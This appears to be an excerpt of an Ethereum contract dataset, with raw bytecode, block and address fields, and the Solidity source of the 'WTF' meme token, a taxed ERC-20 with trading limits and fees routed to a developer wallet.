80fd5b506101b2610376366004611773565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ab575f80fd5b506102226103ba3660046117aa565b610ab1565b5f6103cb338484610afb565b5060015b92915050565b5f6103e26008600a6118b5565b6103ef90629896806118c3565b905090565b5f610400848484610c1e565b610451843361044c85604051806060016040528060288152602001611a57602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112ec565b610afb565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b03161461047f575f80fd5b305f90815260016020526040902054801561049d5761049d81611324565b4780156104ad576104ad816114ad565b5050565b5f546001600160a01b031633146104e35760405162461bcd60e51b81526004016104da906118da565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105545760405162461bcd60e51b81526004016104da906118da565b6105606008600a6118b5565b61056d90629896806118c3565b60115561057c6008600a6118b5565b61058990629896806118c3565b6012556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c36008600a6118b5565b6105d090629896806118c3565b60405190815260200160405180910390a1565b5f6103cb338484610c1e565b5f546001600160a01b031633146106185760405162461bcd60e51b81526004016104da906118da565b601654600160a01b900460ff16156106725760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104da565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ba9030906106ad6008600a6118b5565b61044c90629896806118c3565b6015546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610701573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610725919061190f565b9050806001600160a01b031663e6a439053060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610787573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ab919061190f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107f4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610818919061190f565b601680546001600160a01b0319166001600160a01b0392909216918217905561094e57806001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bf919061190f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610909573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092d919061190f565b601680546001600160a01b0319166001600160a01b03929092169190911790555b6015546001600160a01b031663f305d719473061097f816001600160a01b03165f9081526001602052604090205490565b5f806109925f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109f8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a1d919061192a565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a72573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a969190611955565b50506016805462ff00ff60a01b19166201000160a01b179055565b60065461010090046001600160a01b0316336001600160a01b031614610ad5575f80fd5b600b548111158015610ae95750600c548111155b610af1575f80fd5b600b819055600c55565b6001600160a01b038316610b5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104da565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104da565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104da565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104da565b5f8111610d455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104da565b5f6001610d595f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d8757505f546001600160a01b03858116911614155b156111ae57610dbf6064610db9601660149054906101000a900460ff16610db057600954610db2565b5f5b86906114e8565b9061156d565b60065490925060ff1615610e79576015546001600160a01b03858116911614801590610df957506016546001600160a01b03858116911614155b15610e7957325f908152600560205260409020544311610e675760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104da565b325f9081526005602052604090204390555b6016546001600160a01b038681169116148015610ea457506015546001600160a01b03858116911614155b8015610ec857506001600160a01b0384165f9081526003602052604090205460ff16155b1561100557601154831115610f1b5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016104da565b60125483610f3d866001600160a01b03165f9081526001602052604090205490565b610f479190611974565b1115610f955760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104da565b600f546010541015610fac57833b15610fac575f80fd5b60108054905f610fbb83611987565b90915550506001600160a01b0384165f908152600460205260409020429055600d5460105461100291606491610db99110610ff857600954610db2565b600b5486906114e8565b91505b6016546001600160a01b03858116911614801561102b57506001600160a01b0385163014155b156111035760115483111561107e5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016104da565b6110a36064610db9600e546010541161109957600a54610db2565b600c5486906114e8565b6001600160a01b0386165f908152600460205260409020549092504214806110e057506001600160a01b0385165f90815260046020526040902054155b156110e857505f5b60085460ff1680156110fb575043600754145b1561110357505f5b305f90815260016020526040902054601654600160a81b900460ff1615801561113957506016546001600160a01b038681169116145b801561114e5750601654600160b01b900460ff165b801561115b575060135481115b801561116a5750600f54601054115b80156111735750815b156111ac576111956111908561118b846014546115ae565b6115ae565b611324565b4780156111aa576111a5476114ad565b436007555b505b505b811561122657305f908152600160205260409020546111cd90836115c2565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121d9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546112489084611620565b6001600160a01b0386165f9081526001602052604090205561128b61126d8484611620565b6001600160a01b0386165f90815260016020526040902054906115c2565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112d48686611620565b60405190815260200160405180910390a35050505050565b5f818484111561130f5760405162461bcd60e51b81526004016104da919061168d565b505f61131b848661199f565b95945050505050565b6016805460ff60a81b1916600160a81b179055801561149d57601654600160a01b900460ff161561149d576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611382576113826119b2565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113fd919061190f565b81600181518110611410576114106119b2565b6001600160a01b0392831660209182029290920101526015546114369130911684610afb565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061146e9085905f908690309042906004016119c6565b5f604051808303815f87803b158015611485575f80fd5b505af1158015611497573d5f803e3d5ffd5b50505050505b506016805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156104ad573d5f803e3d5ffd5b5f825f036114f757505f6103cf565b5f61150283856118c3565b90508261150f8583611a37565b146115665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104da565b9392505050565b5f61156683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b5f8183116115bc5782611566565b50919050565b5f806115ce8385611974565b9050838110156115665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104da565b5f61156683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ec565b5f81836116815760405162461bcd60e51b81526004016104da919061168d565b505f61131b8486611a37565b5f602080835283518060208501525f5b818110156116b95785810183015185820160400152820161169d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116ed575f80fd5b50565b5f8060408385031215611701575f80fd5b823561170c816116d9565b946020939093013593505050565b5f805f6060848603121561172c575f80fd5b8335611737816116d9565b92506020840135611747816116d9565b929592945050506040919091013590565b5f60208284031215611768575f80fd5b8135611566816116d9565b5f8060408385031215611784575f80fd5b823561178f816116d9565b9150602083013561179f816116d9565b809150509250929050565b5f602082840312156117ba575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180f57815f19048211156117f5576117f56117c1565b8085161561180257918102915b93841c93908002906117da565b509250929050565b5f82611825575060016103cf565b8161183157505f6103cf565b816001811461184757600281146118515761186d565b60019150506103cf565b60ff841115611862576118626117c1565b50506001821b6103cf565b5060208310610133831016604e8410600b8410161715611890575081810a6103cf565b61189a83836117d5565b805f19048211156118ad576118ad6117c1565b029392505050565b5f61156660ff841683611817565b80820281158282048414176103cf576103cf6117c1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561191f575f80fd5b8151611566816116d9565b5f805f6060848603121561193c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611965575f80fd5b81518015158114611566575f80fd5b808201808211156103cf576103cf6117c1565b5f60018201611998576119986117c1565b5060010190565b818103818111156103cf576103cf6117c1565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a165784516001600160a01b0316835293830193918301916001016119f1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a5157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ed43cfac7940c9954d3bd77f261f291e6d9cc27e822657c27ceca5b9e75fe6764736f6c63430008170033 | // SPDX-License-Identifier: None
/**
WTF do we have launching here?
Tg: https://t.me/WTF_Wat_Teh_Fuk
Twitter: https://x.com/wattehfukwtf
**/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WTF is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _boughtAt;
mapping (address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _devWallet;
uint256 private _lastSwap=0;
bool private _noSecondSwap=false;
uint256 private _startBuyTax=30;
uint256 private _startSellTax=30;
uint256 private _finalBuyTax=10;
uint256 private _finalSellTax=10;
uint256 private _reduceBuyTaxAt=30;
uint256 private _reduceSellTaxAt=30;
uint256 private _noSwapBefore=30;
uint256 private _buyCount=0;
uint8 private constant _decimals = 8;
uint256 private constant _totalSupply = 10000000 * 10**_decimals;
string private constant _name = unicode"Wat Teh Fuk";
string private constant _symbol = unicode"WTF";
uint256 public _maxTxAmount = 100000 * 10**_decimals;
uint256 public _maxWalletSize = 200000 * 10**_decimals;
uint256 public _taxSwapThreshold=0 * 10**_decimals;
uint256 public _maxTaxSwap=200000 * 10**_decimals;
IUniswapV2Router02 private _router;
address private _pair;
bool private _tradingOpen;
bool private _inSwap = false;
bool private _swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_devWallet = payable(_msgSender());
_balances[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
bool shouldSwap=true;
if (from != owner() && to != owner()) {
taxAmount=amount.mul((_tradingOpen)?0:_startBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(_router) && to != address(_pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == _pair && to != address(_router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_buyCount<_noSwapBefore){
require(!isContract(to));
}
_buyCount++;
_boughtAt[to]=block.timestamp;
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_startBuyTax).div(100);
}
if(to == _pair && from!= address(this) ){
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_startSellTax).div(100);
if(_boughtAt[from]==block.timestamp||_boughtAt[from]==0){
shouldSwap=false;
}
if(_noSecondSwap&& _lastSwap==block.number){
shouldSwap=false;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && to == _pair && _swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_noSwapBefore && shouldSwap) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
_lastSwap=block.number;
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
if(!_tradingOpen){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _totalSupply;
_maxWalletSize=_totalSupply;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_totalSupply);
}
function sendETHToFee(uint256 amount) private {
_devWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen,"trading is already open");
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_router), _totalSupply);
IUniswapV2Factory factory=IUniswapV2Factory(_router.factory());
_pair = factory.getPair(address(this),_router.WETH());
if(_pair==address(0x0)){
_pair = factory.createPair(address(this), _router.WETH());
}
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_pair).approve(address(_router), type(uint).max);
_swapEnabled = true;
_tradingOpen = true;
}
receive() external payable {}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function manualSwap() external {
require(_msgSender()==_devWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function reduceFee(uint256 _newFee) external{
require(_msgSender()==_devWallet);
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
}
|
1 | 19,493,933 | 16315ffb1702dfb42f35610618267066b7806dea73e3d99c0650b9d3a89c6235 | a9100ffadf257c6c4ae7c4a6c45dc49ff489efcc93f3255e9c2af8f9be9cfaf1 | 0000db5c8b030ae20308ac975898e09741e70000 | ed0e416e0feea5b484ba5c95d375545ac2b60572 | 42df44593fba9aeed448f36572f26adb4da4da47 | 608060405234801561001057600080fd5b50604051610a1a380380610a1a8339818101604052810190610032919061011c565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550326000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b6108c2806101586000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033000000000000000000000000000037bb05b2cef17c6469f4bcdb198826ce0000 | 608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033 | |
1 | 19,493,935 | 30151d500a2524e7cfcfb14f497686e3ae169d14cfddbb1649692f0163131f17 | f46c9e7db8365eec9ce0c44990b683e73c182fa30961d0ed6f0d9de6d0681daf | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 80e24fae90a96c52a261f1605bde454db1e749b9 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001